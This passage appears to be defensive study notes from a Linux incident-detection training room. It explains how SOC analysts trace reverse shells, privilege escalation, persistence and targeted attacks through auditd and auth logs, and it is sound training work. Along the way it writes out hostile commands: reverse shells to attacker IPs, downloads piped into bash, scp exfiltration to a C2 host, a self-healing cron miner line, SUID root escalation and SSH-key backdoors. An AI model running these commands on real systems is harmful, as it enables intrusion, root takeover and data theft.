127.0.0.1 &&to every command - Commands run only after ping finishes (delay)
- No Ctrl+C, no history, no error output
Fix for the attacker → reverse shell: the victim connects out to the attacker and hands over an interactive shell. Often the only practical way to continue.
Reverse vs bind shell
- Reverse: victim → attacker. Outbound connections usually pass firewalls, so this is the common choice.
- Bind: attacker → victim's open port. Often blocked inbound.
Three common reverse shells
| Command on victim | Attacker listens at |
|---|---|
bash -i >& /dev/tcp/10.10.10.10/1337 0>&1 | 10.10.10.10:1337 |
socat TCP:10.20.20.20:2525 EXEC:'bash',pty,stderr,setsid,sigint,sane | 10.20.20.20:2525 |
python3 -c '[...] s.connect(("10.30.30.30",80));pty.spawn("bash")' | 10.30.30.30:80 |
Reading the bash one:
bash -i→ interactive shell>& /dev/tcp/IP/PORT→ send stdout+stderr to a TCP connection (/dev/tcpis a bash feature, not a real file)0>&1→ read stdin from the same connection
Port choice: attackers pick ports like 80/443 to blend with web traffic (Python example uses 80).
2. Detecting Reverse Shells
SOC severity: CRITICAL. A reverse shell means the system is already breached and a human is actively working in it.
Walk UP — where did it come from?
ausearch -i -x socat # pid=27808 ppid=27806 auid=unset uid=serviceuser
ausearch -i --pid 27806 # /bin/sh -c [ping -c] 4 -W 1 127.0.0.1 && socat TCP:10.20.20.20:2525 …
ausearch -i --pid 27796 # /usr/bin/python3 /opt/trypingme/main.py (ppid=1)systemd (1)
└─ python3 /opt/trypingme/main.py (27796) ← vulnerable web app
└─ sh -c "ping … && socat …" (27806) ← injected command visible in full!
└─ socat TCP:10.20.20.20:2525 (27808) ← reverse shellThe sh -c line is gold: it shows the original ping command + the injection together, proving exactly how it happened.
Walk DOWN — what did the attacker do?
ausearch -i --ppid 27808 | grep proctitle
# id → uname -a → ls -la . → … (Discovery, as always)Reverse shell red flags
/dev/tcp/in a command linesocat,nc/ncat,python -c … socket,pty.spawn,perl -e … socket- A service (
auid=unset) spawning a shell that makes an outbound connection - Shell processes with a network connection to an external IP
3. Privilege Escalation (TA0004)
Web exploits usually land as a low-privilege service user (www-data, serviceuser), possibly stuck in /var/www/html or unable to run malware → attackers need root.
IF discovery finds X → THEN escalate with Y
| Discovery (IF) | Escalation (THEN) |
|---|---|
uname -a → old unpatched Ubuntu 16.04 | Kernel/software exploit like PwnKit: wget http://bad.thm/pwnkit.sh | bash |
find /bin -perm 4000 → env has SUID | Abuse it: /bin/env /bin/bash -p → root shell |
ls /etc/ssh → unprotected ssh-backup-key | ssh root@127.0.0.1 -i ssh-backup-key |
Key terms:
- SUID (
-perm 4000): binary runs with the owner's privileges (often root), regardless of who launches it. Misconfigured SUID onenv,find,vim,python… = root. (Reference: GTFOBins.) bash -p: "privileged mode" → bash does not drop the elevated effective UID it inherited.- PwnKit (CVE-2021-4034): polkit
pkexecbug → local root on most distros from 2009–2022.
Detecting PrivEsc — watch the SURROUNDINGS, not the exploit
Hundreds of SUID tricks and thousands of CVEs → you can't write a rule per exploit. Detect the events around it:
# Detection 1: Discovery spike
whoami # → www-data
id; pwd; ls -la; crontab -l
ps aux | egrep "edr|splunk|elastic" # looking for security tools
uname -r # → old 4.4 kernel
# Detection 2: Download to temp dir
wget http://c2-server.thm/pwnkit.c -O /tmp/pwnkit.c
gcc /tmp/pwnkit.c -o /tmp/pwnkit # compiling on the victim!
chmod +x /tmp/pwnkit
/tmp/pwnkit
# Detection 3: Exfiltration as root
whoami # → root ← escalation worked
tar czf dump.tar.gz /root /etc/
scp dump.tar.gz attacker@c2-server.thm:~| Signal | Why it matters |
|---|---|
ps aux | egrep "edr|splunk|elastic" | Hunting for your security tools |
gcc run by a service user | Web servers almost never compile code |
Execution from /tmp | Classic staging area |
whoami answer changes (www-data → root) | Escalation succeeded |
tar of /root, /etc + scp out | Exfiltration |
Confirming success — compare UID of parent vs child
ausearch -i -x pwnkit # /tmp/pwnkit pid=24304 uid=serviceuser
ausearch -i --ppid 24304 # bash pid=24310 uid=root ← UID JUMPED
ausearch -i --ppid 24310 # whoami pid=24312 uid=rootRule: a child running as a more privileged user than its parent, without sudo/su/login in between = privilege escalation.
Nuance: check euid too, not just uid. SUID abuse (env bash -p) often keeps uid=serviceuser but sets euid=root. Exploits like PwnKit set both to root.
4. Persistence (TA0003) — Surviving Reboots
Linux servers can run for years without rebooting, so some attackers skip persistence. Those wanting long-term access add 1–2 backdoors.
4a. Cron (most popular, T1053.003)
APT29 / GoldMax — line added to /var/spool/cron/<user>:
@reboot nohup /home/<user>/.<hidden-dir>/<malware> > /dev/null 2>&1 &@reboot = run at every boot · hidden dir · nohup + & = background · output discarded.
Rocke cryptominer (via Redis/phpMyAdmin exploits):
echo "*/10 * * * * root (curl https://pastebin.com/raw/1NtRkBc3) | sh" > /etc/cron.d/root*/10 = every 10 minutes → re-downloads & re-runs the script → self-healing if IT deletes the files. Also note > overwrites the whole file.
Cron syntax refresher: minute hour day month weekday [user] command. /etc/cron.d/* and /etc/crontab include a user field; per-user crontabs (crontab -e) don't.
4b. Systemd services (T1543.002)
Services live in /lib/systemd/system/ and /etc/systemd/system/. With root, anyone can add one.
Sandworm / GOGETTER — /lib/systemd/system/cloud-online.service:
[Unit]
Description=Initial cloud-online job # fake, trustworthy-sounding
[Service]
ExecStart=/usr/bin/cloud-online # malware disguised as a system binaryReal units also need [Install] WantedBy=… + systemctl enable to start at boot; the room simplified it.
Detecting cron & systemd persistence
| Monitor | Paths / commands |
|---|---|
| Cron files | /etc/crontab, /etc/cron.d/*, /var/spool/cron/*, /var/spool/crontab/* |
| Systemd folders | /lib/systemd/system/*, /etc/systemd/system/* (+ less common, e.g. user units in ~/.config/systemd/user/) |
| Processes | nano /etc/crontab, crontab -e, systemctl start|enable <svc> |
ausearch -i -f /etc/systemd # file changes → vi created malicious.service
ausearch -i -x crontab # crontab -e executed as rootIn the file event: a2=O_WRONLY|O_CREAT|O_EXCL = file opened for writing and newly created (CREAT+EXCL = must not have existed before) → a brand-new service file.
5. Account Persistence — Access Without Malware
Goal: come back in a month without leaving malware. Method depends on how they first got in.
5a. New user account (T1136)
useradd[27254]: new group: name=support, GID=1001
useradd[27254]: new user: name=support, UID=1001, home=/home/support, shell=/bin/bash
usermod[27258]: add 'support' to group 'sudo'
usermod[27258]: add 'support' to shadow group 'sudo'- Detect in
auth.log:grep -E 'useradd|usermod' - Then build the tree:
ausearch -i --ppid 27254(and up the parents) to see who created it - Innocent-sounding names (
support,backup,admin2) + sudo within seconds = backdoor
5b. Backdoored SSH keys (T1098.004)
echo "AAAAC3Nza...IkiINvQt/R" >> ~/.ssh/authorized_keysVery hard for IT to spot: one more random-looking line among legit keys.
Detect with FILE monitoring, not process monitoring. echo is a shell builtin → no new process is created → no execve → process logs show nothing useful. The file write appears only as proctitle=bash.
ausearch -i -f /.ssh/authorized_keysExample auditd watch rule:
-w /root/.ssh/authorized_keys -p wa -k ssh_keysEach user's file needs coverage; watching all of /home is noisy.
5c. Application persistence
Breached WordPress admin → upload a web shell (e.g. WSO) → run commands through the website. No cron, no SSH key, nothing at the OS level → auditd and system logs often never see it.
Same risk for: exposed IT automation tools, unprotected SIEM/EDR consoles.
Rule of thumb: you checked every OS persistence location but malware keeps coming back → suspect a compromised public-facing app.
Persistence summary
| Technique | Where | Detect via |
|---|---|---|
| Cron job | /etc/cron*, /var/spool/cron* | auditd file watch + crontab process |
| Systemd service | /etc/systemd/system, /lib/systemd/system | auditd file watch + systemctl process |
| New user | /etc/passwd, sudo group | auth.log useradd/usermod |
| SSH key | ~/.ssh/authorized_keys | auditd file watch (not process) |
| App backdoor | Web root, app config | App logs, file integrity, web-process trees |
6. Targeted Attacks
| Hack and Forget | Targeted |
|---|---|
| Automated, any victim | Specific companies / governments |
| Miners, botnets, proxies | Espionage, ransomware, long-term access |
| Rarely escalate privileges | PrivEsc, persistence, lateral movement |
Linux as the entry point
Linux runs the internet-facing edge: firewalls, web/mail servers, VPNs. Even in a 99%-Windows company, one breached Linux server (srv-web-01) → pivot into the Active Directory network → major Impact.
Linux in espionage — Kimsuky APT
Breached a mission-critical server and persisted with a systemd service:
[Unit]
After=network.target
Description=syslogd # mimics the logging daemon
[Service]
ExecStart=/bin/sh -c "/var/log/syslogd" # malware hidden in the LOG folder
Restart=always # relaunches if killedRed flags: an executable inside /var/log (log directories hold logs, not binaries) · fake system name · Restart=always.
Linux in ransomware — hypervisors
Hundreds of Windows VMs can run on just a few physical hypervisors. Breach the hypervisor (exploit or SSH) → encrypt every VM's disk at once, regardless of guest OS.
Note: KVM/Proxmox are Linux; VMware ESXi is not technically Linux, but ransomware gangs build "Linux" encryptors for it and the same attack logic applies.
7. Room Inconsistency to Know
In the "Detecting SSH Backdoor" log, the SYSCALL line shows exe=/usr/bin/vi with the same event ID (:806) and timestamp as the systemd example. That's a copy-paste in the room. For an echo >> builtin write, a real log would show exe=/usr/bin/bash (matching proctitle=bash).
8. MITRE ATT&CK Recap (all four rooms)
| Tactic | Techniques covered |
|---|---|
| Initial Access | Exploit Public-Facing App · External Remote Services (SSH) · Supply Chain |
| Execution | Command & Scripting Interpreter · Scheduled Task/Job · System Services |
| Persistence | Account Manipulation (SSH keys) · Create Account · Systemd Service · Cron |
| Privilege Escalation | Abuse Elevation Control (SUID) · Exploitation (PwnKit) |
| Discovery | Account · File/Directory · Network Service · Permission Groups · Process · System Info/Network |
| Command & Control | Ingress Tool Transfer · Non-Standard Port · Web Service |
| Exfiltration | Over C2 / alternative protocol (scp) |
| Impact | Resource Hijacking (miners) · Data Encrypted for Impact (ransomware) |
9. One-Page Summary
- Exploits give bad shells → attackers open a reverse shell (
/dev/tcp, socat, python). Treat as critical. - Trace reverse shells up (find the vulnerable app; the
sh -cline shows the injection) and down (see the attacker's commands). - Service users need root: old kernels/PwnKit, SUID binaries, exposed keys.
- Detect PrivEsc by its surroundings: discovery spike, security-tool hunting,
gcc/downloads in/tmp, exfil afterwards. - Confirm escalation: child's
uid/euidhigher than parent's without sudo/login. - Persistence: cron (
@reboot,*/10self-healing), systemd (fake names,Restart=always), new sudo user, SSH keys, app web shells. - SSH-key backdoors need file monitoring:
echois a builtin, invisible to process logs. - Executables in
/tmp,/var/log, or hidden dot-dirs = suspicious by location alone. - Linux is the door into Windows networks and the multiplier in hypervisor ransomware.